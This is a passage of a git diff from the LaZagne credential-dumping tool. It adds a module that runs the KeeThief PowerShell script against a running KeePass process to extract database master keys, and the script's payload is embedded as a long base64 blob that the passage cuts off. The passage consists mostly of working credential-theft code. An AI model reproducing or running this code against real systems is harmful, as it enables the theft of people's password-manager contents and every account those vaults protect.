http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/ + +# Thanks for the great work of libkeepass (used to decrypt keepass file) +# https://github.com/phpwutz/libkeepass + +import traceback + +from . import libkeepass +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo + + +class Keepass(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'keepass', 'memory') + + def run(self): + # password found on the memory dump class + if constant.keepass: + res = [] + for db in constant.keepass: + try: + with libkeepass.open(db.values()[0][u'Database'], + password=db.get(u"KcpPassword", {}).get(u'Password'), + keyfile=db.get(u"KcpKeyFile", {}).get(u'KeyFilePath')) as kdb: + res.extend(kdb.to_dic()) + except Exception: + self.debug(traceback.format_exc()) + return res diff --git a/lazagne/softwares/memory/keethief.py b/lazagne/softwares/memory/keethief.py new file mode 100644 index 0000000..310ae71 --- /dev/null +++ b/lazagne/softwares/memory/keethief.py @@ -0,0 +1,3645 @@ +# -*- coding: utf-8 -*- + +import json +import os +import sys + +from lazagne.config.constant import constant +from lazagne.config.execute_cmd import powershell_execute +from lazagne.config.write_output import print_debug + + +class KeeThief(): + + def launch_kee_thief(self): + # Awesome work of harmjoy (thanks to him) + # From https://github.com/adaptivethreat/KeeThief/blob/master/PowerShell/KeeThief.ps1 + func = 'Get-Process KeePass | Get-KeePassDatabaseKey' + return powershell_execute(SCRIPT, func) + + def check_if_version_2x(self, full_exe_path): + dirname = os.path.dirname(full_exe_path.decode(sys.getfilesystemencoding())) + # version 1 use an ini configuration file + if os.path.exists(os.path.join(dirname, u'KeePass.config.xml')): + return True + else: + return False + + def run(self, full_exe_path): + if self.check_if_version_2x(full_exe_path): + output = self.launch_kee_thief() + try: + output = json.loads(output) + except Exception: + print_debug('WARNING', u'{output}'.format(output=output)) + return False + + constant.keepass = output + return True + + +SCRIPT = ''' +#requires -version 2 +function Get-KeePassDatabaseKey { + [CmdletBinding()] + param ( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [System.Diagnostics.Process[]] + [ValidateNotNullOrEmpty()] + $Process + ) + BEGIN { + $EncodedCompressedFile = ' +tL0HfFzFET/+7tVrknUq72TJlmSDzOOMjTFgJLkDppgSMLaRTDEdrIAe3Nkk4ZAxNYQYE2roJKQTQhLSQ0mDVIoDCUkIBtJpISG +FVOTffGd233unYpzf///zx7q3Ozu7Ozs7Ozvbj1jzAcMyDMOmv+3bDeOrhvxbYrz9v030V9/59Xrji5nHp301dfjj01aeta7SdW4 +5PLN88jldp548NBSu7zrl9K7yhqGudUNdB77jmK5zwtNOn11Xl91VpXHUMsM4PGUZJ7166bE63RcN08il0obRlzOMtMD+3U/uLnK +clBPq4DaFbsOIv8aHcgzHP8tYcrlhNPD/+Bt9+N+9lO7hhqT7cWe8QuaMPOIM5IwpO8ET/S9N+OkkgOg9JOGdvf70d6+n7/m9qlx +9Md2JKCfNLlfKp5KbaUPZXfouyNXgLaH/s8unnx0SYl7RzGntPwZv/9F0gibTcIyur5nGVXeljRT595Nc/qd/TXMmGZ+mL8UvVLa +1Gm62Qs5szq0QIdnhfxQM261YcL4JZxUAK6Ray/acRdEEEFIhsw0pt/omhxIR2b7lHCoAjwCmFVZNw82ne+dQiGeFxOVs2nKr/yS +U7j6fgDPc7hH3eaKhkqGw7rphBGXCQ2zDVflkCe7PucorGSkiocMMiFHZUodZJZrt0lz5hnkAKb3lZqUOlAOoUI0LLFSYUSbYuZV +6Al0gkaxw0tuEN3B4+xzPOJV5bxQUam4Ualggd7ZnGoU1GkEjuOn1NpHP8kL6ZHuJHUYxv61DEJoJNOuZbfXsG/EpsD1sIdhzfil +N5WxAXlONfY42gJEsM1pRabppDbODw6qWhlkxzNYwO4Y5GubEMFfD3BjmaZinYE1zphvtKbRRkhcfBTWDIn3CVpYar9xN3DBRKDe +YDHgb/cwg+DEMbxwDP5PhVLFuvtEsX0S+oJ2CapEuB3gKIFMB8et6lkG8yrdwZKpvN3MNsSVVvguIHYgfY2fMgJjoFgfm5znSxwh +HhRT761To3PvdsBMwMyA+u31FoHrlT0UZMyk9UwX8KOcLxKBrFLHhNJaTUfKZ1nxMx7zNaFgmhmU1LBvDchqWi2F5DctH9dJppFO +sT3dUL10T8L91Z/nfNg7/p7wt/zt2yP+OWv637YD/02P+B9OhVRg73GXcShhVB3WaZ3UxH+s1rD6GTdKwSTGsQcMaYlhBwwpRHXQ +YFtWBs+M62GOCOtj1/0sbmPG2dVDaYR2Uausg2Nk2ELxNG3BL8hfVg4Vy8rdb6kXgTXNMYx+DO7BCZR59N5GqsMu/QN4zwEo/11P +gjD9C1ZIKesg5wyv25zx3y7q5L3Ndt89pNH6LzoXSMIP5hJF1w93QZSx6ksAbA1RD1/ZJnYZvhruDZupZ3ZzHAeBAtrcTeJzzyyg +eY21uQIYzUbw9Cd8NqQKz+Z5FUNhmMAtwC0I4m1x1PSRcRgaIWa8Y9KJWwjnQ8K9u45Bel8NZwVPsvRD0NVH+5oifiZT/NnC5yWZ +aCnY4V+c+0uYFS1H259xSah/0De82Oj9oIG1yn2wcfb/0E4Yx2bj3UaOFOpyUSe5vPStmTdOcgvEtg82zgt2X18U1OfGSZYaHoUI +PZt6JZ8u6oA9ssjwG55lbdRZ//LR8Gq3gIApLMLIhYuTBKRI1Tr3rJeJTsDearUr5aghsk225Bbt7y7pGJyA7x+2FjUluKl22YG9 +ZN7gEnadJXDgSeSTIhd1io0yO8XWwlcrUtZoaICfbvZWi2cG+EJ6uL8fQZg3NNecDkrRs2xJ0yG6+B6aXl0+3KURfI/rB0RRel2m +ZPxmEBPuhlD1c/Ewb6jjbw4bAZ6iklT4YAlEaLbVpNFFdtswHbyzIJyVQsCUF6uoNkeEFxlmwt9AOFoD25lzZMo1z8yKMXUd9h3h +4bApyG55Mn3AhQftakb9DaHXMHxZANyPEJPCKiyZF9XKqqepFwv1wEWSsCNQzLSE13EwWW1870v4zYTc5Io4ORys4kjyhXU1o4WL +yNLk9x8IycsMl8HkFu+Cx2deULqR7FyAoHS4je65csqhhLwXpM0xN0WpLUYRoQQptan8kk+k5EhKRCQ6Aj2SikJVEc4WcpHYfUjs +QcgfZKeTKpk1JnUpB3YR7PX2b8oV8MbyWXOtJR6XylNoytL1PSdvLjPiToraXZoYzdb1XpjR1zZRkWvTguDQuTsU01lFoHdMo9C2 +3NX2To/Qus1VpKw4kox5REglO6oFIN06SBBsotEEKXSgUJNEXo0R3QaEbKMBOBwuQWGOhsbcKYH2hEea423MOfCpiqzNexIWI2FR +o6t1fIjZJxH0SEY+MInYkIi5CxOZCc29GIjZzRKIcDO7r2759u/B4UpLHhXoMIlz/AGgll3ykP7KqUvq+NKLj1NQLiRVUad8db1E +wBLngsi1NcA4Xvm4mIoHnboOx0NQiMttSo0JZC3vhGSTspEeX3iDDrgxx/2T6DtJXKVGGj5B/K32fMGvh1N6NVfRnWrXwL9LfOeS +YRvBJRvwPOPMIdiD9tYA21s0CP4xgA/RXp3Cb5uxq/J2+OeiBItSxVf6Ao4XaZJmeQd8P0Pdj1EJTufASVNE9EY6ncLwYJy84D0Y +4aYWTjnHqSHmwnNmMnAmH0HqcguMvyoLXTmfDCb2gurlUcER/u36T19PGFVGgJp+hNn8ukkPg7QXqpEkReAVn7ouuA8vAdanCpuJ +rZfyQxID7m2w4mYMcmCBuQrfvarxl8Pi4gGEh+PDEKD7kPGnZeav86x2xqG508TMKJxPjNNnQe8wAh9HJxxwgohUH3AQHXOGA5ze +le6AnqZzpgkONNZ1kQZpYQAqw4M59gVjQwuX0wjpmQcFO8iCn2FPAN812FMaMSX5MMWDM1IEfuwg/dljo3OhCjycXdpqLLAxKS4G +JD6rAdqLAthTY8UnVT2Z5KLgZKlmyuC4VlwpRsOf+ioo7S1XrblzcdLK03RxkhzOlhCjf7Mre2vgroV9fJe2jYLJtYZExcgh6QYM +aeOcS6CKyUxJmB/fD/3Z0P2y6FuyKFJSoK6P1Fa4OjHga26CS3yTkZ/nX2lDHM7M9c9FfK2MlZ7qeDzKWw8KzAmLLTOaNW0IUl4L +6JZrrLwb3XHPLOgIO7PVQi85vo+Snpg/ud6PpA2v4cNDRZ1bxtezwCLajF5kjLSQ07aYVHKnGMu/AF2MPdkBnSZqm1d0H3TYjOIp +8w0dz6KBZhWNSKliBj8mf8BgOu1VBN5MF0c6zFDXI4Upg+SXj66a1kXiT7eZRwYyNq8k94h5Lv5V+gDch0Hbq7WCA022ak+Z5pQb +I6RrYMa4zfBx9XXv4eHzq7eETQDCTXTkR9pjnDq+N+fJIxBevCnAVsSXoqSTLTkJFMIbCO4HJFC6cDC4A4NU7DCr2YKasZfgU5O2 +NuKfqEgyfZugxy2qzikTN6mlcC07ldGEy5GMDZB7ywSiBhZreeOYYxpyFZNcxYxBYGUT5JEGyt95JnzzMX4ws6vwmuweGeIbUhn1 +nwabWQ44MDWv+mHHTARE00w3PUfWs5HVI5CAI8c2aJaNt47mMcYo5mntmQPbFTMRd1DlSKYMmc7gC5PFw3QTuBsE9X9qGxXOOjZj +38hc0It4rFM/i0VFz5V0cfdAa7M+6xcGBLur1LxpcPAGaG7wfDQZlWUP5bG+F6hombLvbGt6/EaPpKybOxAo8IRJx3yM0XoCPNVx +VsmcZ86R/LVQuZNmzhofB+upwJENvxoV2R9yNqKSLUKNpSRu03TOGP9aYuFaQ4Qig5RKh5VKh5bIaWppBy+WKliuYlisiWrJekpb +3gpYrQUt2J2hJxLXQlhQt7xdaNgstV9fQ0gJatiharmFarpmAlg+AlmtBSz6m5fVxst54faIN3MBt4EbEvYnbAAKDOqQAGmj8ZPi +g4WZFwy1Mwy0RDVNqaLgV6dwG9YIZt5nSRv8yET/iuLYA9k9QaQeTlHyfTzy6Q3h0p/DoLnzs4Q/pti68KoLODys672Y6755Ahj4 +COj+Kkjb8rzJUiOrtE0LTJ4WmT0X11kVxWkHLPYqWT0NDUa73ItfPRLnKGLLOOM/ADADpqTFNfAO1gfas2wtzxQ3vI5i/EFa0FX4 +WudFA8HP4muHnWSeLyZ2LEHrEdL4fKoynNLQxLUMn1lE8Z73EmH6KmLNzzY1fAIGNivfzqMTUNmdilhgACv/KuOEtAmifM8kgATX +adlgenhoMv5Yoz9e5PN0MKw6ED0ixHkwUKx/h5bftyaV4yMAkjhe7BXPWG5nxSytlPdjo3RSV9WGUxR9dlmJU1m+NG96qy5oxqL8 +y2scta/gdrn0mieeq3PARFEcNjJjs/DYEVB5lWQu/G9WTy5S7Y+qp1Zh3ZET79wyZyaulrS2i/Yfjhrdr2m2DWjrW2wqVx5ScPg4 +5HV0QtwqwvwDqonwSNVAB1Kh5rtec18tcl/DwCW4PEPsnIfZbDZnkFEnKb8MsyIwJ0lN1ZRjHG1PfY7QGsGKpP7+YIFNB71OK3qf +Hp/dpphcGXWNqpIU0YrtXEhLz6d4AjGWUdPgT+l1ci5eWsPCnLIBE/DMg/mcR8UrMWV+M1ydPTfTJvxD98Kzuk6GjOkD/LxX9z7G +Oem4CHbUNOT+vc/6fdFRHpKNeFBp+JTrq1zU6qhO0/EbR8lulo36HXH8f5SrjmLRBtivijNemdyfKsm4fSm36G/+Q6Fte4r7lZaT +4CvctCAw6ka4bvmZoGy6SzS4pJ/Ijk9iYNn5+RclvJuc3uPH1RIZ/4gz/jAzf4AwRGEyTDP9iqHWGKL/pkp/m6dneKJ6+O9lf7xL +x9O/C0zeFp/8wJrDlKv+U7onaIubRZ4b/Vv7pZjMm1FlOzhgbz8IkuraZ3pK8RiSv7ZzCfdSFG6m41KkUSm3Sb8UCeBMCm4PdkAp +wnQSuy7gecNOMi0BbcGlUZDdjlWBmifulj4LW8erAGm3aq+77iohfTiWTwppKmKVPrmd/1sM5cuetdJinb52bCevou55UfDts6D4 +0+EylnmBNNgaak1KYUqbRbgM5wgL9KPX+5bHKnexT1o9LjZU3in6cYVrNwe7CR/CgKcGDZuZBC3jgMw+amAelmAczOeKb/xcFp+i +OYqEhae3BHrQ5GvEYu6DNTQZvaHDVlhpHf43Jw60Cb6yB5GA9YyY12SkoyVT6CWZHNtdsENIc7Cl2nG3QWMLYFXl3pWR8N22n8h5 +TPrc6bVxibBpNBkLOdJCzC8iZE+utdmrTNLoyuncgTx+P0wt3TUWdJ48FpY90sQgzsxjM5XHWboRjYY1iZm5sr+np/n53Y89+kYk +m6q+hNfCPKN4YJGRid5aJEkifyTKBQCxrKH62z8kaFWCOR789mn5nNIMsagqzuCk0sNTORlOw3XS4J8qpBPulsYLtEAtSrCe5LAu +M6Scm5Htf4W8fqQzqW2baSqtgfQ7Z7AZaG42RFlLn7S6WQkSfj6tzemKds2+Kdc68FOuc/VKylyJtnEGRgh3UX6ILCntQLp5odMN +eFNzywr6Usnv8/LYpHMLFfn5s5RVLvMai6m+PVVLmdrIBqLYJMq69NT8WmR3JQ6uR31XSi/qBXik787RP90Euzx+U0GYWqfa6mL7 +UVS4Zr+m4VYT2ocTmho015hDww6UpNnAZS8947E9uThQd7wGQvQMhdfMTNgbTtCC2rWlAAxnW5f/cxF2WrXM5mNJsMM3wEJTC4o8 +2QiexpMHpj6Ty2w6OvLqaSMIM2w0PZe2L33A5/cz65ra2MSo4yWxf6m8K+L3YWHaZXvPsMQau1W3RNbA3aw/w97CU2CCHj8fYrdS +TtwdHgDFH0k8vbH9z4zsSbfcobrtHg38ruO0iUGp2If00sBG6EsGrELAotmtsA/OFs0DDsaqO+8ejwbQohQGksAYpLI71GvQ61rF +mI43jOI3geFTrCapaT0SstSlZwJ4Z2R9LQd3+WtYkjT2RximSxqlI4zSVxulI44zx0zhA0oC9eZa023WQNJabAyXs/rfX86QO/co +7U2KfcNxlE8U1x4lbrJyTjHuQxB0ah4+2Hx6MUMY7ZAd4xfBQhLbPaTZuThmYQy5UymxTvK2xVqmwiNuV9eDbBnDyfHBy47sSQvN +uFpr3AOMCFhoEYqZ4plutMl60ze1CIA0Dlh9GUDo4DObcRpgxvHUsE14kZkv1fDZaHGpN4Sa0GbJjLqav2lfws7H7CqyNl4wh6tK +YqEtioi6rJeryBFGXjSbKj4lyFFGOE14RU/LrsZR4mM7SiXJiG68cQ9r7gHAVk4bA4HCWR27nNxh7f0+3891TwdGpuJ86IraHipg +WJw/D3xHD/ST8qNhuuyZBwgeYhGtBwnVMwjVstx0d220rItuVRnvGXv+3tusNLGfhjdxht7OOuwkdtkvG6weRZzq8GbrwllRklG4 +bzyg1dB+21Jg1FPU5mHlvDo7Rbd9mnT4X8n2b0kG3p2TS/Y5YFz04Wty/nzDJbo9Msp+MNkHeTKDdMY7l5lpOvROsJGKG71Ta5i4 +w+EMgYcT9MNx3o6ZXxTovKsPquAw3UbJ7owwf4zIQ8R9P8QLCJ3ayDJ/YuTJ8fMdl+KQqw6dA9z2g+9iY7i163aXyaQTfC8XwGUS +o3AfnZ1M8Ts/AbsL+pkKjYYWfQxqfB1L1M9z7h/ezB8hu+IWUHsOCB7Bp9uX1BqBaFURrNMIvgmRZkpN59LmCEH5J6UzExYzYvAn +iQqaCfh7E5jxVluVJxPArnBJst69KH/C1FNtuX2d4n195QMAPsr/DDB5K8ZpESANBN9rXhRWaDuzYsYc78XGGu/ChupzGu+YwB3O +osp/LrWnj3LarLeyc8c0qovEMzt3dRbPaGftazWpX7JtsVqdFvuDhVLxOQmPkZmxn2S8le4U6zOoMvWdvRryPbzcN2y2GBRoWxLD +dZU0yz/vn92O+ApR12SZzg29EdZKVvXNmtYTtwNS9u2bQCEqyLtYrBRO72RSYrHi38k0CXsAbklS8AQQto5/5LJtLiDmVb6Vk/aQ +tpdZPIFtXUnAP04N41npsC6tQ1+NmrQ3XmobZiw0GpoS6lbMnUdStAwQXA+jb9CNLm25I/ZrbRabLn/1mb8s6L3wT/mMNb9OS5kQ +Sxa4GYlWlK49FTwXzu17PaZjQlTW+Q3F6sV4UfCel12a/mI7aq7CBp2ql8Hbf1fA0Go2pRrPRChZZhjuDWEejdpelYQksdU8BIBB +LIOJpBYBMLAFXMwoAsZjfh1wfSwiWq2XK0+KU1pKUSQiRYrUlrFbtcapBY0iDkizsXEVJOFlqbu9eowWiWde8cs6Mnbvjp4lkRdV +o5d2oTDNooE9xydjalJDW2pCPeRwSMa+Vt7n5uZ7DWPAieNuSPWIAmNo3JfaDhVzbC3jTeq5nnMyVz0tEScqBw3td5vOeTCBksct +9F0pF7RLVNm+ex2Hc14tKtYMCWFJvB034OkELfZwiBq8utcwS6xFnmJvlqHX8ZsOhelrAe/TRIoslawONY1Wf0ZHRFWStBxSzQdj +uyFzkPX6Nhng2kwltjvj4DR+BZlERUI5cgoce/85vixiXbzQvjAOCRxE3wWKPf0fhxwE1+F0M7hqLHwck8REyjUOmRSGGXjeu7qn +12p6xXpujYXNi2F4atlcE07zNROdpdNcX7IoasYMuqabpWjdROnN1OnPjtPfWsL1j2D4atk8M21fD9o1h8zRsnoJtNKv78YbQ3ZA +5t5yhSoYURzG4xCE6MCbELreFLH/zgFTthdZuNILvaoXtl8j3vajf7eB5Fbd0j1ntQXvIcdNFNqytBFrSqbHHAE09iqb2OQXj2/R +dxDqZ42HTQUlwe1nxXwgimIJeDmvONud2XJSc14ezRNveiehe+F4ChT+lnyr1y7Y/YlW+D4MDyXrQno00KnofBfMev0o3S3gaU2C +umwlRU5gPRVWZLhO+DXs/ZtRYnNdS9OfUmBuj6kvuM1yL96ztYVz5xXjMrQ8nmdX547Krj9mVLNyFAIUHw1kcRiSFJHK6iHgJrwq +LbIk+LXDD+ynbwTU+QDksBp9beZew3ToftJcPoiZeKp+LX7M4H8sx5TvJ0wMOlr9Mrmx5K/1O1X0CdQfW5lOJWOoObOWY7CRNkDY +naYK0O0kTZIozxgRR8r9Ay+uCWIYXathCBVtDTahPmtBCaUKLuc8BHxaJ7bRYbA8b+whwHqxgVj7AVepi8OAGq2J7wGZbcynrPu6 +1x8E0K6ebhtssHuY51g9WKTuJaMO439V2JFLZn/O8NpGSoKj5JD/olwjAJwPCOIDwm7PU6eSZhAehMHme0qTujEZabneOU8l6bpQ +X0jrfrB4QCVGli/rA4QNYPg4QZoFvB8S8PFDz8kAFoz53GeJztmZldySwjBNYxhhalp43gzMpWzVo8LOJDUUHCcsPxseswhceSKj +Dh4osMgRnzThkeWxbHpqEL1Pw9jndBrVy40DWBYeg/UujgLNU+YGMCk9Hh/9DHhqekkLT+xGGhmlWQ8FjsMYfxxg8U94jqzcm4xR +dprxP5O9i/0GRn5c+yqu1vy9L6aoEn6C0ymcj5EmeYijYbIr1Yr9NgcahsJeDhaR4+nDCtLnJVulg529fS5wP+6EFuGJbmxzeBl+ +kL+L5TY4k1eQWHDM8iZUafgtuMB9gr+DI/ntusq28MatYi5IWbhY8AVeWAJgpZNJiIpWASh6YTuEe7CmkMQ/OUOSNOWPXNQtOmoL +syhSAtkYj7L7rsdF4zCDbdMMfQ5cewnKDX2xqm6nqjNrWFNnni/k1MrMNGmJH+3YPEop5MItpUTn7UoUwlU4xq8shmy73nWXuPZY +b+uxQhvceLmM5GRcNR2BmG3wEhkYlJokHdKm1PyZmLPEIX4b6l4K8dCk6H/NYc2xnecbRoDPOZxnLI0vtQWDy0zza3rgN27HULMl +z5B5xvzeZQn/CsyQIDH/KA+PwGfBKl0ONRTm1/eO2cbhqO0fgu8WsHomMC2JLArYe45ThI5nh+C09ZVZ+hnTfYeizm6a9AQOb4SM +Y6QitJMqb0XZ/DmtO+Jgz/kbfg1lfjUrCSpyYANfKf6G4PvcBYvMfRUJ/Aanhfek7fBhnhN/EBlPQXJ6dM861+SiAisFY5X4CBws +sWKeVKjQGSr31S5Yeaf2CftbD22iULwPuszwgF+40psK/Tsb5WFFd3pjCYlKw/ARFazTLZCyfG/wypY54ddlG98WVo0GJ2v/jGRc +afEa4wFtF7fA51CnvMnTDbYj3fIoPavE802tjVzYkz14mhZ0SIcmOF6AyBAHAYB+M1raxcgtepLDn1Bxe3ugo6Tk8w1i/HsezMN/ +DhFnhr1Jqv1WO970k7crho0QF48ODLOxntU2L1WWwBnMzK5g/+N34QkJen2d5/WEsrwgMjkusgaCfwpDsUObR0VrJZ93iwDJoLxA +JYwFnGnjLU7Hkl9pLld9A0KI0XOyxMpbzfmHbISPyUpykWSz7gWtwy5KJ6IUjCUtWIH8Ty62NPts4bAJ66hQ9UL892OdidZ12hWG +sLFldh6fk+4h8/ZVxGTO8vkbiVfCzwqYt64oDOT5P43r9rcflBZpmjVKXSWoU8WSSGiVTUhhLwZZ0sT/bY7NjIOd6e93XrOy3Pku +VAJ3gyhLrHOy9OILnAtCdNaQk37EqLerx6qxMMfwtZAx52aLfViVUmvBOyjnZ+DUhHanKqRjdaGB1ScS63nZX+iWyszbBEPF6P89 +yy4KF0bjH+XrckXhc4mLoudwaJba/sqWk8E9kPVtycSKsdx24Et7oYL+85TGNv7ysycmweV5wGp3wDtjgmISYZAa/Q3eLk0OOE/4 +acfjcAHe7biHdj8MD/Qev0McFnLkv19sOkU09V3gToQsZsezBsn/HmDIfUltmFUn0MotfcJnSyz6SJ4fv+IOr6NtW+T1LbKOSoeW +jZXZGKcLRX5wn3Ea4R7HcRgylOMLBrMsjrBruucw9Gs9ISGIsk0/zaCYKAGPr6p0+nMrxJCxd/XoKB9xuoKCtx0W69Q/08zF4m+x +6r2BXtxQMu3oC/bCoehlmYEtJhxxPPw1OEq/B8+qdek8Srk/79V7wEgwFienrNtWu7GHWU35IFLm1Oq9B9Fw+L3ru42b1RGhSHOf +ceAy5iosaWfZOZM21Fjx5qJVZy3uUhijwaBmrGmpebvjkuAMbM2cW3MhawgofaWDBxlCtvA91D5ZMbwUvE1aXGXUQpht8mC0KUoa +23xK+1Sh5o2zXjZ8ptRpE8TetjGyVLJ9xWjEhnUKVysvujTfe+znJubMrfKaR2xf6cNcfpMbzUAMDeIZJyHOYvHy6uIR7+lupWJV +XUOp0L/YQp7seMIytEmbW6Tmd8tV1esd4elwWRPOT51PEY1CGC0+NBuPcoYn/VZlUuSZiFyYmw2+DYV4XDtovmRmR2miGqSYKMNP +Ftf5ISsbiSKUmLT+G+1E7dox3UzIrmZfJvMJHGrlG+fjln6hMqkJfqy2Ny/p/PoYDbheJhDGwDP0EZNQf9XW5y5jvxV1aa2kydWu +6P4SMruI1ivKh9ZF50pgK5qNr99Y3UvOK55KCr6Z4nr+6ylBndXAievWocoQ/bIyUQEfJLS6Bo61Uvp4ycMctkKHHozijoeQtzbQ +dK7rOon728zxxEdwvE4ROcBtUtqZttSbgeNZe4UCDbl8e5gSN/ohGZUI+WR8t3G1Z5ywA/8jRYEGxro4U61ALVDB1aNqOpn7fGOB +xrokZ6+AjaCULZFXGq/wRJpdfx2t9ZqbRDj7KtoGcd7T5+hM+e++l+/d7wQ1fFztI0vaN/xDaGtapp8RjRmaIGdzBTX7LuqsPoAr +JVf6EsaLb+whrobug/b8GJyG4vhd8iHP9BMSgrueDCKhgrgGjPi9zDVKofrCB6omHTxHoJoB4eGW7mZvCAOMC3GjQ5Jh+hiDNfqM +b3M1J78fdV/EA7KHAabDwz2wpMhr8ESIaNvo+OdWGUVqa+PBGSvGB6F180vbt2800V3xa+izqN4gNdvOIVTJO1PU6EPVKwz7P8Vn +Gn7ROtoZXidWIz/oOKszw6gSgE4D+BGA2AAMJwGQAjosBG7oAODYBmAPAmgQgD8DxCcDeAJyQAOwLAFT+RegDgr+IMQ0AH69WPQO +G0eVtJIxJhS39R6LTuJA7jQel09C6bA9dfmaXWC0uWy2KZ2s0z6iXc8NcUc3d3KkiQCyp27fHRgl/DR7flEjYJnNhDNZvfDX/k2G +bmGkZm3XYWEye2/cwL2IcB7kYgWVD7AKj1aSsjg8QNfrws9QAbbf6c5JNnhcj93NwY3KMlG5J1jDFxrkdIjfCYLaVMLY+nu10s4p ++irstUiTA6+XpisGShHTnesEMb8s6Zor/Yr6H/T7frqGvDICOSD992FAp/fThcXlcvn/rhEQ+bToPVaSdyYLSjdb2dhvFSxb98EY +ffQ0r2I7yBZOMc1vDXzdG8nC34iIbziMth5HstdQy02Zegu5x2tQF0qayxrUIl7rZheuGcXzuBquEJDPXft50vfJVRAQpBTO4L6U +D0mwV1OnQTLom1M50BH+lZvBjXhe2M51Z5e0Qb155p4m3Xnm7EvMMoHHOzsk9U6BkP1tMrFH+37abiXRR1PecIHxep2y7FTXw8AQ +FjuHHMfxJZY7xeBgadW2iP+2PuqJLWrR05+ptj6n22b5yV6q7sSL6Vkf0of8qoS9FP31SlC46uRPE4jiJqOrj612u7uWzrhzgu81 +eeAqC+IKMks+BUV9Vx2fmT47TG8z6KibJyfGtoDSlyk0AMKSvkzkOkMesUEafIuMMMIcX1ZM4MyK90WcW2fA2g7+l5OxBxnhXVI8 +nQV3KeksRh0OVyv075gH6sBKwEXasWKPW2t55kWLtHd8wFw3eGv6oIfKEP4RbzpMqq1ifacBo9pRx7RQaiHHzzpne05U3iRqxWvw +Xc0W9B8bfxP2ANrSxP/YzlN6po+zssxKm+fDp8HQ12CgNZnZdHGS1+ahpct4KS4flLdQIgn+k9JU2r0VTXsE/ec4v/BcsvlSw2FK +3sEgy1G4ZAv54aVnkfp6SkrhjJ4/iPUqnGfPvkrmfLBm8X05SxdNHxSgPTEUTezmMS1CSC14WKX1rKnu1jf0ltpHQ55+G/UF/4ll +0Tod0UCrYirS8tuOvns/qdMu6tjV1EpzOqGA+GlBubqC+1or6WpzEvQ6KvWB/EFcexPzru9zAWRXicuXfPIiX5GDfdIf/wQD0x8i +zIFcfNXnKyKJRvLrIhk2oQrrA27RdsyDzGY2ZxmzwuIRkxN5KF7Jsi5GLbSN9HphKsfg0Mo+ivQgyX3w67ryJ6FJMsCr/xVaiJGV +CmGysIFsUWyt4LtP20pgYryOci6HkS0rZx+Ndh3XkGWyLxolzJ/sUd7JWdhtGTTMw0+BnMRlgyNkJ/OvoMPKYX9XpnDleOs/sfDq +6Lz9L9bFnJfryR1JqyYL78rP+f+nL1yXyadN56L58J7LQfbmeL8Ge2scn83nn1xp53JTGeMQYjG0g7K6/F7PEKSsAi4RdHvUMmwE +O3kKzHUHNPh0TQ3oz+BGlK4YReR6DB5ZRUc0Juzy/+E7Iy3ar0yhawU95HBFuT6k7Cf3cti5uxdRys1QtP8Fc2bi73nX7rjO65+p +99K5xNn3P3nH62Hti1NvdeWZaOmJaHTMtLUyrEwoyoiYVGQXBe24UKTLH3GX0DshVoqDpqBPisxm46+oc8NZf6fgr5VomUpudCwb +7XbkaAjXaeweqjEYgS25A4n6QovzzbXWmlR6qwdug8c6O8bpwF+qS45A50DOD/W21iTfqSDDIHBVrpUbuPHwH2LbGToy7ef1yxAx +Xm4YrO6tw/tAMV2q/LLuzv2SGx5qq+sorGrAczvES9665fIaIeZfoYzYYE885WYFpqiXJ8ikN+kqgDDMgOJNSb0hRx3QeUrAqxzk +kh+Woj2ynwVNTlN87zVHTZ4aeP8vlZP4M+4KWUF89xH2gRfkGNv3wJqK9iFBWa7yOObwe3founNjb4plV/AYOoczaqjwueWZU/qo +ulHmTvvTZjstTzqZCWgoLk0leMB1zgvlwKiZ35TrPnovo04yJbUbzKDG+2YHsR9zs8JE2vjal4MS8wx0p5Vs1//jsIQE+GgHkRp3 +yfRGA71dyGlJ8x1zynoi70lbzSOqkfFo6VGZr+asgWhap0iZqTe8TRWWEA060NoeKKi1X8OMd2FVIAHueTcyPGSHrbBSr92DusKM +SYv4eCtr1uHxBxsS1d2qG/hVB9IMsQbfxuRFW6mYzV4E+j5sz+pbJvhLM+VQMPedjsS11LufNpJ3qQJ30YvHDbZ/PaqkzE89mTSb +rAIs08foOWtJ5LDfnmIjaukRmodpKum+bbHwODYPzQM5qnoWJ0FYF5x1ihjpnYoEercUL8yYv0J+HCep4RiUdrgcir0DbmXBdO3k +C8VRbWqIplUy12BJNuaSD80y9UK3mQ9T+71vGW5pmDumzibsb592qdZ3H/KpE/LLCITDMFuMap5HRr3vMK5fzvFh19Lq/wyrFesT +nYlUnE43d1Qz9/jgr386G036c665mAcrzB5A6z82k2YKI9nIrAo4SIYv8R4v/lHpbQWwnXEGwlfX2cn+EbY6asHfUhuk5yg2JMp7 +GQqF7fTesOvH8AvraZ6SvfQN9bZ9OOVzOWJizRId3/tj0pFMlm90JL3IwtZjsw7NksNdTbvjLNpdw1sAfDK/gNgP/2DUSG3c3YIx +CtkR4nZlYFnGt8DtmYu8O5k7eXYOni2aFXzPjss1WCJgYQz+HhvkerrstBD3/bOhBY9Nls5celzXDS0213ujzDg0BhHUQ57JZwET +s/pRqYsFAdDVs9vj+VPm28d14gFc3GWrvzSYj2o9zsYZdrGDgB//58R/G3Xpeo9xTwD2bnySCNuMqKjP8eOz8KHq0enP0fbp9Zni +/id0kn6ffgbguojpR+XQIBmj/gnw5HuMk3U1z6mFHS58UPmhiCRTrrJZ4zPAh+pUVULL6woeTCA8zwjcihCIhfDOJ8E1G+FaE0Fp +qiW3MLPZtCx/OBh+YzmTlccVIMRRP7tdOYUztvtc823hcjrargTT8Qe7HbwYRVvgVbGu4lfvl8IvkJuFPGZUWcgVPC8bxwLitZo7 +FZdm9gPXoUygZjdDbrdjSjudSZkX9OuOFUzHIqI8BNscjBl0ivtOtWJ5Jdm7XsnN7LE9MCn1BdOnjZvAD5uaP6He+7J+PAcEK7Ly +o3iSRKc7NcNGIHSywbuLxdA5rxEaV2wmICN9JccJJZnyutMHkbSImL72o+zR2fK60OXGutGDssVD0MeV/hy7PHVGflue1HuaR0Ge +FqPH+4ZvZJgGl/jWot+7DLZG6VQItRlAWtVVW+HXT0KcMgNAaIbCorSoJePJosNRVM6/ZXoj1eKrNB1BP2KxfKUAluHm/rudO8qY +zHyFDwETH1nsVpJm6p1Q9lftR3A/q9MximEOWiFl5FTfmuR4NgBspDbPgBj9BJReccO84RsGZ9SQSMcdLxFeJeB4NkiURb6JEeME 